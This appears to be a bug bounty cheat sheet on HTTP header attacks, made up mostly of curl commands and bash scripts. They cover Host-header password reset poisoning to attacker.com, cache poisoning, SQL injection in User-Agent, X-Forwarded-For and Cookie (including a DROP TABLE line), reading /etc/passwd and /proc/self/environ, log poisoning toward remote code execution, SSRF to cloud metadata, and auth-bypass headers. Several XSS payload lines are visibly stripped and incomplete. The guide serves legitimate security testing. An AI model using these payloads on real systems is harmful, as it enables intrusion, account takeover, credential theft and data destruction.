



HEADER-BASED TESTING

Bug Bounty Hunting Guide

Host Injection | XSS | SQLi | LFI | SSRF

X-Forwarded | Cache Poisoning | Auth Bypass

2025 Edition

Table of Contents

1. Introduction to Header Attacks

2. Host Header Injection

2.1 Password Reset Poisoning

2.2 Web Cache Poisoning

2.3 Virtual Host Discovery

3. X-Forwarded-* Family

3.1 X-Forwarded-For IP Spoofing

3.2 X-Forwarded-Host Injection

3.3 X-Original-URL / X-Rewrite-URL

4. XSS via HTTP Headers

4.1 User-Agent XSS

4.2 Referer / X-Forwarded-Host XSS

5. SQL Injection via Headers

5.1 User-Agent SQLi

5.2 X-Forwarded-For SQLi

5.3 Cookie-Based SQLi

6. LFI / RCE via Headers

6.1 X-Original-URL Path Traversal

6.2 X-HTTP-Method-Override Abuse

7. Open Redirect / SSRF via Headers

8. Cache Poisoning via Headers

9. Auth Bypass via Headers

10. Complete Header Wordlist

11. One-Liners & Automation

12. Tips & Tricks

1. Introduction to Header Attacks

HTTP headers are a frequently overlooked attack vector in bug bounty hunting. Applications often trust headers for routing, authentication, logging, and access control decisions. When these headers are attacker-controllable, they can lead to XSS, SQL injection, authentication bypass, SSRF, cache poisoning, and more.

Why Headers Are Powerful

Headers bypass URL-based WAF rules, are invisible in normal browsing, often bypass rate limiting (different IP logged), and can reach internal routing logic that normal requests do not. Many frameworks (Django, Rails, Express, ASP.NET) inspect specific headers for core functionality.

Header Category	Common Headers	Attack Type
Routing	Host, X-Forwarded-Host, X-Original-URL	SSRF, open redirect, cache poisoning
Client IP	X-Forwarded-For, X-Real-IP, X-Client-IP	IP bypass, SQLi, XSS, log injection
Auth	X-Internal-Auth, Authorization, X-API-Key	Auth bypass, privilege escalation
Content	Content-Type, Accept, X-HTTP-Method-Override	Method override, content bypass
Browser Info	User-Agent, Referer, Origin	XSS, SQLi, log injection, redirect
Cache	X-Cache, X-Forwarded-Host, Host	Web cache poisoning, DoS

2. Host Header Injection

The `Host` header tells the server which website the client wants. When an application uses the Host header to generate links, reset passwords, or route requests without validation, it becomes a critical vulnerability.

2.1 Password Reset Poisoning

When a password reset email contains a reset link, the application often uses the Host header to construct the URL. If you can control the Host header, the reset link is sent to your

server instead.

```
# Host Header Password Reset Poisoning
curl -X POST https://target.com/api/forgot-password \
  -H "Host: attacker.com" \
  -H "Content-Type: application/json" \
  -d '{"email":"victim@target.com"}'

# If vulnerable, the reset link becomes:
# https://attacker.com/reset?token=abc123

# With X-Forwarded-Host to bypass simple Host filtering
curl -X POST https://target.com/api/forgot-password \
  -H "Host: target.com" \
  -H "X-Forwarded-Host: attacker.com" \
  -d '{"email":"victim@target.com"}'

# Double Host header (some parsers use the last one)
curl -X POST https://target.com/api/forgot-password \
  -H "Host: target.com" \
  -H "Host: attacker.com" \
  -d '{"email":"victim@target.com"}'

# Using X-Forwarded-Server or X-HTTP-Host-Override
curl -X POST https://target.com/api/forgot-password \
  -H "Host: target.com" \
  -H "X-Forwarded-Server: attacker.com" \
  -d '{"email":"victim@target.com"}'
```

Password Reset Tip

Always test with both **Host** and **X-Forwarded-Host**. Many applications read X-Forwarded-Host when behind a load balancer or CDN, trusting it as the true host. Check the actual reset email or response to confirm the poisoned link.

2.2 Web Cache Poisoning

If a cache stores responses based on the Host header and the application reflects the Host header in the response, you can poison the cache to serve malicious content to all users.

```
# Step 1: Check if Host is reflected in response
curl -s -H "Host: attacker.com" https://target.com/ | grep attacker.com

# Step 2: If reflected, check cache behavior
curl -s -I -H "Host: attacker.com" https://target.com/ | grep -i cache

# Step 3: Poison cache with XSS payload via Host
curl -s -H "Host: " https://target.com/

# Step 4: Verify cache stores poisoned response
curl -s https://target.com/ | grep "alert"

# X-Forwarded-Host poisoning for CDN-backed sites
curl -s -H "X-Forwarded-Host: attacker.com" https://target.com/ | grep attacker.com

# Port-based cache poisoning
curl -s -H "Host: target.com:8888" https://target.com/
```

Cache Poisoning Warning

Do NOT test cache poisoning on production without explicit scope permission. A successful cache poisoning affects all users. Document the vulnerability theoretically, then confirm with the program before demonstrating.

2.3 Virtual Host Discovery

Changing the Host header can reveal different applications running on the same IP. This is especially useful for shared hosting, CDN origins, and internal virtual hosts.

```
# Basic virtual host fuzzing
curl -s -H "Host: admin.target.com" https://target.com/ -o /dev/null -w "%{http_code}"

curl -s -H "Host: api.target.com" https://target.com/ -o /dev/null -w "%{http_code}"

curl -s -H "Host: dev.target.com" https://target.com/ -o /dev/null -w "%{http_code}"

# Automated vhost discovery with ffuf
ffuf -u https://target.com -H "Host: FUZZ.target.com" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs 0 -mc 200,301,302,401,403

# Using x8 for header-based discovery
x8 -u https://target.com -w vhosts.txt -H "Host: FUZZ"

# Compare responses to identify different virtual hosts
curl -s -H "Host: target.com" https://1.2.3.4/ > baseline.html
curl -s -H "Host: admin.target.com" https://1.2.3.4/ > admin.html
diff baseline.html admin.html
```

3. X-Forwarded-* Family

3.1 X-Forwarded-For IP Spoofing

Applications behind load balancers or proxies often use X-Forwarded-For to identify the client's real IP. If the application trusts this header for rate limiting, access control, or logging, you can manipulate it.

```

# Bypass IP-based rate limiting
curl -s https://target.com/api/login \
  -H "X-Forwarded-For: 1.2.3.4" \
  -d "username=admin&password=wrong"

# Rotate IP with each request
curl -s https://target.com/api/login \
  -H "X-Forwarded-For: 192.168.1.$((RANDOM % 255))" \
  -d "username=admin&password=wrong"

# Bypass IP whitelist (internal IP)
curl -s https://target.com/api/admin \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "X-Real-IP: 127.0.0.1"

# Multiple X-Forwarded-For (some parsers use first, some last)
curl -s https://target.com/api/admin \
  -H "X-Forwarded-For: 127.0.0.1, 1.2.3.4" \
  -H "X-Forwarded: 127.0.0.1" \
  -H "X-Cluster-Client-IP: 127.0.0.1" \
  -H "X-Client-IP: 127.0.0.1" \
  -H "X-Real-IP: 127.0.0.1" \
  -H "CF-Connecting-IP: 127.0.0.1" \
  -H "True-Client-IP: 127.0.0.1"

# Client IP header wordlist for bypass testing
cat > ip_headers.txt << 'EOF'
X-Forwarded-For
X-Forwarded
X-Cluster-Client-IP
X-Client-IP
X-Real-IP
CF-Connecting-IP
True-Client-IP
Fastly-Client-IP
Forwarded-For
Forwarded
X-Originating-IP
X-Remote-IP
X-Remote-Addr
EOF

ffuf -u https://target.com/api/admin -H "FUZZ: 127.0.0.1" \
  -w ip_headers.txt -fs 0 -mc 200

```


Header	Used By	Purpose
X-Forwarded-For	Nginx, AWS ALB, HAProxy	Original client IP chain
X-Real-IP	Nginx	Client IP via proxy
CF-Connecting-IP	Cloudflare	Original client IP
True-Client-IP	Cloudflare Enterprise, Akamai	Original client IP
Fastly-Client-IP	Fastly CDN	Original client IP
X-Cluster-Client-IP	Google Cloud LB	Client IP
Forwarded	RFC 7239 standard	Structured forwarding info

3.2 X-Forwarded-Host Injection

```
# Redirect chain manipulation
curl -s -I -H "X-Forwarded-Host: attacker.com" https://target.com/redirect

# Link generation poisoning
curl -s -H "X-Forwarded-Host: attacker.com" https://target.com/sitemap.xml

# JavaScript dynamic URL generation
curl -s -H "X-Forwarded-Host: attacker.com" https://target.com/app.js | grep attacker.com

# Open redirect via X-Forwarded-Host
curl -s -I -H "X-Forwarded-Host: evil.com" https://target.com/login?redirect=/home
# Response Location header may become: https://evil.com/login?redirect=/home

# SSRF via X-Forwarded-Host
curl -s -H "X-Forwarded-Host: 169.254.169.254" https://target.com/api/config

# Cache key poisoning with X-Forwarded-Host
curl -s -H "X-Forwarded-Host: attacker.com" https://target.com/static/app.js
```

3.3 X-Original-URL / X-Rewrite-URL

Some proxies and frameworks (particularly IIS with URL Rewrite, some PHP frameworks, and Apache mod_rewrite configurations) honor X-Original-URL or X-Rewrite-URL to determine the requested path. This allows path override even when the URL path is fixed.

```
# Access blocked admin endpoints via X-Original-URL
curl -s https://target.com/public-page \
  -H "X-Original-URL: /admin/users"

# Bypass path-based ACLs
curl -s https://target.com/api/v1/public \
  -H "X-Rewrite-URL: /api/v1/admin/config"

# Path traversal via X-Original-URL
curl -s https://target.com/ \
  -H "X-Original-URL: ../../etc/passwd"

# Combined with method override
curl -s https://target.com/ -X GET \
  -H "X-Original-URL: /admin/delete-user?id=123" \
  -H "X-HTTP-Method-Override: DELETE"

# Nginx alias traversal with X-Original-URL
curl -s https://target.com/static/ \
  -H "X-Original-URL: /static../etc/passwd"
```

4. XSS via HTTP Headers

4.1 User-Agent XSS

When applications log or display the User-Agent header without proper sanitization, injecting XSS payloads can trigger stored or reflected XSS.

```
# Basic User-Agent XSS test
curl -s https://target.com/ \
  -H "User-Agent: " | grep "alert"

# User-Agent reflected in error pages
curl -s https://target.com/error \
  -H "User-Agent: 🖼️" | grep "onerror"

# User-Agent in analytics/tracking dashboard (stored XSS)
curl -s https://target.com/api/track \

-H "User-Agent: 🖼️"
```

4.2 Referer / X-Forwarded-Host XSS

```
# Referer header reflected XSS
curl -s https://target.com/analytics \
  -H "Referer: javascript:alert(1)" | grep "javascript"

# X-Forwarded-Host reflected in links/JS
curl -s https://target.com/app.js \
  -H "X-Forwarded-Host: attacker.com" | grep "alert"

# Origin header XSS (if reflected in CORS or error)
curl -s https://target.com/api \
  -H "Origin: https://attacker.com"

# Host header reflected in page content
curl -s https://target.com/ \
  -H "Host: target.com" | grep "alert"

# Cookie-based XSS via cookie value reflection
curl -s https://target.com/ \
  -H "Cookie: session=" | grep "alert"
```

Finding Header XSS

Check error pages, admin dashboards, analytics panels, and any page that displays "client information" (browser info, IP address, request details). These often reflect headers without proper encoding. Also check `Server:nginx/1.18.0` style error pages where request details are echoed.

5. SQL Injection via Headers

5.1 User-Agent SQLi

Applications that log User-Agent strings to databases (analytics, security monitoring, bot detection) may insert the header directly into SQL queries without parameterization.

```
# User-Agent SQL injection detection
curl -s https://target.com/ \
  -H "User-Agent: Mozilla' AND 1=1--" | grep -i "error\|mysql\|sql"

curl -s https://target.com/ \
  -H "User-Agent: Mozilla' AND 1=2--" | grep -i "error\|mysql\|sql"

# Time-based blind User-Agent SQLi
curl -s https://target.com/ \
  -H "User-Agent: Mozilla' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--"

# MySQL User-Agent SQLi
curl -s https://target.com/ \
  -H "User-Agent: Mozilla' UNION SELECT null,null,version()--"

# PostgreSQL User-Agent SQLi
curl -s https://target.com/ \
  -H "User-Agent: Mozilla' UNION SELECT null,null,current_database()--"

# User-Agent SQLi via log entry viewing
curl -s https://target.com/admin/logs \
  -H "Cookie: session=ADMIN_TOKEN" | grep "Mozilla"

# If admin panel shows user-agent logs, XSS in User-Agent can lead to admin XSS
```

5.2 X-Forwarded-For SQLi

```
# X-Forwarded-For SQL injection
curl -s https://target.com/ \
  -H "X-Forwarded-For: 127.0.0.1' AND 1=1--" | grep -i "sql\|error"

# X-Forwarded-For time-based blind
curl -s https://target.com/ \
  -H "X-Forwarded-For: 127.0.0.1' AND SLEEP(5)--"

# X-Forwarded-For in ORDER BY clause
curl -s https://target.com/api/users \
  -H "X-Forwarded-For: 1.2.3.4' UNION SELECT null,null,version()--"

# IP logging with IP format validation bypass
curl -s https://target.com/ \
  -H "X-Forwarded-For: 127.0.0.1'||(SELECT pg_sleep(5))||'"

# X-Forwarded-For with stacked queries
curl -s https://target.com/ \
  -H "X-Forwarded-For: 127.0.0.1'; DROP TABLE users;--"
```

5.3 Cookie-Based SQLi

```
# Cookie SQL injection
curl -s https://target.com/ \
  -H "Cookie: session=abc123' AND 1=1--" | grep -i "sql\|error"

# Session token SQLi (if token is looked up in DB)
curl -s https://target.com/dashboard \
  -H "Cookie: session=' UNION SELECT username,password FROM users--"

# Time-based cookie SQLi
curl -s https://target.com/dashboard \
  -H "Cookie: session=test' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--"

# Cookie-based blind SQLi automation
curl -s https://target.com/dashboard \
  -H "Cookie: session=test' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>64--"
```

6. LFI / RCE via Headers

6.1 X-Original-URL Path Traversal

```
# LFI via X-Original-URL
curl -s https://target.com/ \
  -H "X-Original-URL: /etc/passwd"

curl -s https://target.com/ \
  -H "X-Original-URL: ../../../../etc/passwd"

# PHP wrapper LFI via X-Original-URL
curl -s https://target.com/ \
  -H "X-Original-URL: php://filter/convert.base64-encode/resource=/etc/passwd"

# Log poisoning via User-Agent -> LFI -> RCE
curl -s https://target.com/ \
  -H "User-Agent: "
curl -s https://target.com/ \
  -H "X-Original-URL: /var/log/apache2/access.log?cmd=id"

# Nginx access log poisoning
curl -s https://target.com/ \
  -H "User-Agent: "
curl -s https://target.com/ \
  -H "X-Original-URL: /var/log/nginx/access.log?cmd=id"

# Proc filesystem access
curl -s https://target.com/ \
  -H "X-Original-URL: /proc/self/cmdline"

curl -s https://target.com/ \
  -H "X-Original-URL: /proc/self/environ"
```

6.2 X-HTTP-Method-Override Abuse

Some REST APIs accept X-HTTP-Method-Override to change the effective HTTP method. This can bypass method-based access controls.

```
# Bypass GET-only restriction to execute DELETE
curl -s https://target.com/api/users/123 \
  -H "X-HTTP-Method-Override: DELETE" \
  -H "Content-Type: application/json"

# Bypass auth to access PUT endpoints
curl -s https://target.com/api/users/123 \
  -H "X-HTTP-Method-Override: PUT" \
  -d '{"role":"admin"}'

# Combine with X-Original-URL for path + method bypass
curl -s https://target.com/public \
  -H "X-Original-URL: /admin/users/123" \
  -H "X-HTTP-Method-Override: DELETE"

# Method override in frameworks
# Rails: X-HTTP-Method-Override: DELETE
# Laravel: X-HTTP-Method-Override
# Django: X-HTTP-Method-Override
# ASP.NET: X-HTTP-Method-Override
```

7. Open Redirect / SSRF via Headers

```
# Open redirect via Host header
curl -s -I -H "Host: evil.com" https://target.com/redirect?to=/home
# Check if Location header contains evil.com

# SSRF via X-Forwarded-Host
curl -s -H "X-Forwarded-Host: 169.254.169.254" \
  https://target.com/api/internal-health | head -50

# SSRF via Host on internal routing
curl -s -H "Host: internal-api.target.com" \
  https://target.com/api/proxy | head -50

# SSRF via X-Original-URL
curl -s https://target.com/ \
  -H "X-Original-URL: http://169.254.169.254/latest/meta-data/"

# SSRF via Referer (if server fetches Referer URL for preview)
curl -s https://target.com/api/preview \
  -H "Referer: http://169.254.169.254/latest/meta-data/"

# SSRF via User-Agent (if server fetches User-Agent for browser info)
curl -s https://target.com/api/browser-info \
  -H "User-Agent: http://169.254.169.254/latest/meta-data/"

# DNS rebinding via X-Forwarded-Host
curl -s -H "X-Forwarded-Host: attacker.com" https://target.com/api/internal
# Attacker DNS resolves to target internal IP on second query

# Open redirect via Origin header
curl -s -I https://target.com/api/redirect \
  -H "Origin: https://evil.com"

# Full SSRF header testing suite
curl -s https://target.com/api/fetch \
  -H "Host: 169.254.169.254" \
  -H "X-Forwarded-Host: 169.254.169.254" \
  -H "X-Original-URL: http://169.254.169.254/latest/meta-data/" \
  -H "Referer: http://169.254.169.254"
```

Header SSRF Tip

If an endpoint is protected from direct SSRF via URL parameters, always test the same endpoint with **X-Forwarded-Host**, **Host**, and **X-Original-URL**. Internal proxies may route based on headers while ignoring the actual URL.

8. Cache Poisoning via Headers

```
# Step 1: Identify cache keys (headers included in cache key)
curl -s -I https://target.com/ | grep -i "x-cache\|cf-cache\|akamai\|fastly"

# Step 2: Test if Host header is in cache key
curl -s -H "Host: attacker.com" https://target.com/ | grep attacker.com

# Step 3: Test X-Forwarded-Host poisoning
curl -s -H "X-Forwarded-Host: attacker.com" https://target.com/static/app.js

# Step 4: Test Accept-Encoding header poisoning
curl -s -H "Accept-Encoding: gzip, attacker" https://target.com/

# Step 5: Test X-HTTP-Method-Override poisoning
curl -s -H "X-HTTP-Method-Override: POST" https://target.com/

# Step 6: Test cookie-based cache poisoning
curl -s -H "Cookie: theme=" https://target.com/

# Step 7: Verify with clean request
curl -s https://target.com/ | grep "alert\|attacker"

# Apache mod_cache poisoning via X-Forwarded-Host
curl -s -H "X-Forwarded-Host: attacker.com" \
  -H "X-Forwarded-Proto: https" https://target.com/

# Varnish cache poisoning
curl -s -H "X-Forwarded-Host: attacker.com" \
  https://target.com/ | grep attacker.com
```

Header	Cache Poisoning Vector	Affected Caches
Host	URL generation poisoning	Cloudflare, Fastly, Varnish
X-Forwarded-Host	Backend link generation	Nginx (behind proxy), Rails
X-Forwarded-Proto	HTTPS downgrade/links	AWS CloudFront, Cloudflare
Accept-Encoding	Response body manipulation	Varnish, Nginx proxy_cache
User-Agent	Content negotiation abuse	Most CDNs
Cookie	Personalized content cache	Varnish, custom configs

9. Auth Bypass via Headers

```
# Internal network access bypass
curl -s https://target.com/api/admin \
  -H "X-Internal-Request: true" \
  -H "X-Internal-Auth: true" \
  -H "X-Internal: 1"

# Debug mode bypass
curl -s https://target.com/api/admin \
  -H "X-Debug: true" \
  -H "Debug: 1" \
  -H "X-Debug-Mode: true"

# Authorization header bypass variants
curl -s https://target.com/api/admin \
  -H "Authorization: Bearer admin" \
  -H "X-Authorization: Bearer admin" \
  -H "X-API-Key: admin" \
  -H "X-Admin: true"

# Origin-based auth bypass (CORS misconfig)
curl -s https://target.com/api/admin \
  -H "Origin: https://target.com" \
  -H "Referer: https://target.com/admin"

# Reverse proxy auth bypass (NGINX real_ip)
curl -s https://target.com/api/admin \
  -H "X-Real-IP: 127.0.0.1" \
  -H "X-Forwarded-For: 127.0.0.1"

# Header-based role escalation
curl -s https://target.com/api/profile \
  -H "X-Role: admin" \
  -H "X-User-Role: administrator" \
  -H "X-Is-Admin: true"

# JWT bypass via header confusion
curl -s https://target.com/api/admin \
  -H "Authorization: Bearer VALID_USER_TOKEN" \
  -H "X-User-Id: ADMIN_USER_ID" \
  -H "X-User-Role: admin"
```

Auth Bypass Testing

Always test auth bypass headers on both authenticated and unauthenticated endpoints. Some applications have "internal" endpoints that skip auth when a specific header is present, even for unauthenticated requests. This is common in microservices behind API gateways.

10. Complete Header Wordlist

Routing & Host Headers

```
Host
X-Forwarded-Host
X-Forwarded-Server
X-Forwarded-For
X-Real-IP
X-Originating-IP
X-Remote-IP
X-Remote-Addr
X-Original-URL
X-Rewrite-URL
X-Original-Path
Forwarded
X-Http-Host-Override
```

Authentication & Authorization Headers

```
Authorization
X-Authorization
X-API-Key
X-Admin
X-Internal-Auth
X-Internal-Request
X-Internal
X-Debug
X-Debug-Mode
X-Role
X-User-Role
X-Is-Admin
X-User-Id
X-User-Email
X-User-Name
X-Customer-Id
X-Tenant-Id
X-Workspace-Id
X-Account-Id
X-Request-With
```

Content & Method Headers

```
Content-Type
Accept
Accept-Encoding
Accept-Language
X-HTTP-Method-Override
X-HTTP-Method
X-Method-Override
X-Method
_method
```

Client Information Headers

```
User-Agent
Referer
Origin
X-Requested-With
X-Requested-By
X-Request-ID
X-Correlation-ID
X-Trace-ID
```

CDN & Proxy Headers

```
X-Cache
CF-Cache-Status
CF-Connecting-IP
True-Client-IP
Fastly-Client-IP
X-Cache-Key
X-Varnish
X-Served-By
X-Timer
```

11. One-Liners & Automation

Header Fuzzing with ffuf

```
# Fuzz all interesting headers on a target endpoint
cat > headers.txt << 'EOF'
Host
X-Forwarded-Host
X-Forwarded-For
X-Original-URL
X-Rewrite-URL
X-HTTP-Method-Override
X-Real-IP
X-Internal-Request
X-Admin
X-Debug
X-Role
Origin
Referer
User-Agent
EOF

ffuf -u https://target.com/api/admin \
-w headers.txt:HFUZZ \
-H "HFUZZ: test_value" \
-fs 0 -mc 200,201,202,204,301,302,401,403 -t 50

# Fuzz header values (e.g., X-Forwarded-For variants)
ffuf -u https://target.com/api/admin \
-w ip_headers.txt:HEADER -w ips.txt:VALUE \
-H "HEADER: VALUE" \
-mode clusterbomb -fs 0 -mc 200
```

Active**ffuf**

Automated Header Injection Test Suite

```
#!/bin/bash
URL="https://target.com"
ENDPOINTS=(' /api/admin' ' /api/users' ' /api/config' ' /api/internal')
HEADERS=(
  "Host: evil.com"
  "X-Forwarded-Host: evil.com"
  "X-Forwarded-For: 127.0.0.1"
  "X-Original-URL: /admin"
  "X-Rewrite-URL: /admin"
  "X-Internal-Request: true"
  "X-Admin: true"
  "X-Debug: true"
  "X-HTTP-Method-Override: DELETE"
)

for endpoint in "${ENDPOINTS[@]}; do
  for header in "${HEADERS[@]}; do
    hname=$(echo "$header" | cut -d: -f1)
    hval=$(echo "$header" | cut -d: -f2-)
    status=$(curl -s -o /dev/null -w "%{http_code}" \
      "$URL$endpoint" -H "$header" -L)
    if [[ "$status" =~ ^(200|201|204|301|302)$ ]]; then
      echo "[+] $endpoint + $hname -> HTTP $status"
    fi
  done
done
```

Active

bash

XSS Header Injection Automation

```
# Test all headers for XSS reflection
curl -s https://target.com/error \
  -H "User-Agent: " | grep "alert"

# Automated header XSS scanner
for header in User-Agent Referer Origin X-Forwarded-Host Host; do
  resp=$(curl -s https://target.com/ \
    -H "$header: XSS_TEST_12345")
  if echo "$resp" | grep -q "XSS_TEST_12345"; then
    echo "[!] $header is reflected - XSS possible"
  fi
done

# With actual XSS payload and check
curl -s https://target.com/ \
  -H "User-Agent: 🍌" | grep "onerror"
```

Active

XSS

SQL Injection Header Automation

```
# Test common headers for SQL injection
for header in User-Agent X-Forwarded-For Referer Cookie; do
  # True test
  t1=$(curl -s -w "\n%{time_total}" -o /dev/null \
    https://target.com/ -H "$header: test' AND SLEEP(5)--")
  # False test
  t2=$(curl -s -w "\n%{time_total}" -o /dev/null \
    https://target.com/ -H "$header: test' AND SLEEP(0)--")
  if (( $(echo "$t1 > 4" | bc -l) )) && (( $(echo "$t2 < 2" | bc -l) )); then
    echo "[!] $header - Time-based SQLi detected"
  fi
done

# Using sqlmap for header-based SQLi
sqlmap -u https://target.com/ --level 5 --risk 3 \
  --headers="User-Agent: *" --batch

sqlmap -u https://target.com/ --level 5 --risk 3 \
  --headers="X-Forwarded-For: *" --batch
```

Active

sqlmap

Complete Header Recon Pipeline

```
# 1. Discover endpoints via crawling
echo "target.com" | subfinder -silent | httpx -silent | \
  katana -list - -jc -d 3 | tee endpoints.txt

# 2. Run Param Miner (Burp Suite) for header discovery
# Right-click endpoint -> Extensions -> Param Miner -> Guess headers

# 3. Fuzz discovered headers on all endpoints
cat endpoints.txt | while read url; do
  ffuf -u "$url" -w headers.txt:HFUZZ -H "HFUZZ: test" \
    -fs 0 -mc 200,301,401,403 -t 30 -o "ffuf_$(echo $url | md5sum | cut -d' ' -f
1).json"
done

# 4. Test interesting findings with specific payloads
# - For reflected headers: XSS payloads
# - For internal routing: X-Original-URL, X-Rewrite-URL
# - For auth bypass: X-Internal-Request, X-Admin, X-Role
# - For SQLi: Time-based payloads in User-Agent, X-Forwarded-For
```

Active

ffuf

12. Tips & Tricks

Tip 1: Always Test Multiple Header Variants

Applications may check X-Forwarded-For but not X-Real-IP, or Host but not X-Forwarded-Host. Test the full family of related headers. Use the wordlist in Section 10 as your baseline.

Tip 2: Combine Headers for Maximum Effect

A single X-Forwarded-For header may be ignored, but combining it with X-Real-IP and X-Client-IP can confuse parsing logic. Stack multiple related headers with different values to test parsing order.

Tip 3: Check Error Responses Carefully

Error pages often reflect header values for debugging purposes. A 404 page might show "The requested URL /path from IP 1.2.3.4 could not be found" - reflecting both the path and X-Forwarded-For value.

Tip 4: Use Time-Based Detection for Blind Header Injection

When headers are not reflected in responses, use time-based payloads (SLEEP, pg_sleep) in User-Agent and X-Forwarded-For to detect blind SQL injection. Compare response times between true and false conditions.

Tip 5: Test Headers on Both GET and POST Endpoints

Some applications only process certain headers for GET requests (caching, logging) while ignoring them for POST. Conversely, some POST endpoints may log headers to a database while GET endpoints do not.

Tip 6: Use Double Headers for Parser Confusion

Send the same header twice with different values. Some frameworks concatenate (Apache: comma-separated), some take first (PHP), some take last (Nginx). This can bypass simple validation that checks for "evil.com" in a single header.

Tip 7: Check Admin/Internal Dashboards for Reflected Headers

Admin dashboards that show "recent activity", "visitor logs", or "security events" often display User-Agent, Referer, and X-Forwarded-For values without sanitization. These are prime targets for stored XSS via headers.

Responsible Testing

When testing cache poisoning or auth bypass, use non-destructive payloads. For cache poisoning, use a unique marker (your attacker domain) rather than a malicious script. Always verify with the program before demonstrating cache poisoning on production.

Vulnerability	Primary Headers to Test	Detection Method
XSS	User-Agent, Referer, Origin, X-Forwarded-Host	Reflection in response/error pages
SQL Injection	User-Agent, X-Forwarded-For, Cookie, Referer	Error messages, time delays
LFI / Path Traversal	X-Original-URL, X-Rewrite-URL, X-Forwarded-Path	File content in response
SSRF	Host, X-Forwarded-Host, X-Original-URL, Referer	Internal service response
Open Redirect	Host, X-Forwarded-Host, Referer	Location header manipulation
Auth Bypass	X-Internal-*, X-Admin, X-Role, X-Forwarded-For	Access to protected endpoints
Cache Poisoning	Host, X-Forwarded-Host, User-Agent, Cookie	Poisoned response served to others
Password Reset Poisoning	Host, X-Forwarded-Host, X-Forwarded-Server	Reset link points to attacker
Virtual Host Discovery	Host	Different response for different Host values
IP Bypass	X-Forwarded-For, X-Real-IP, CF-Connecting-IP	Rate limit bypass, access granted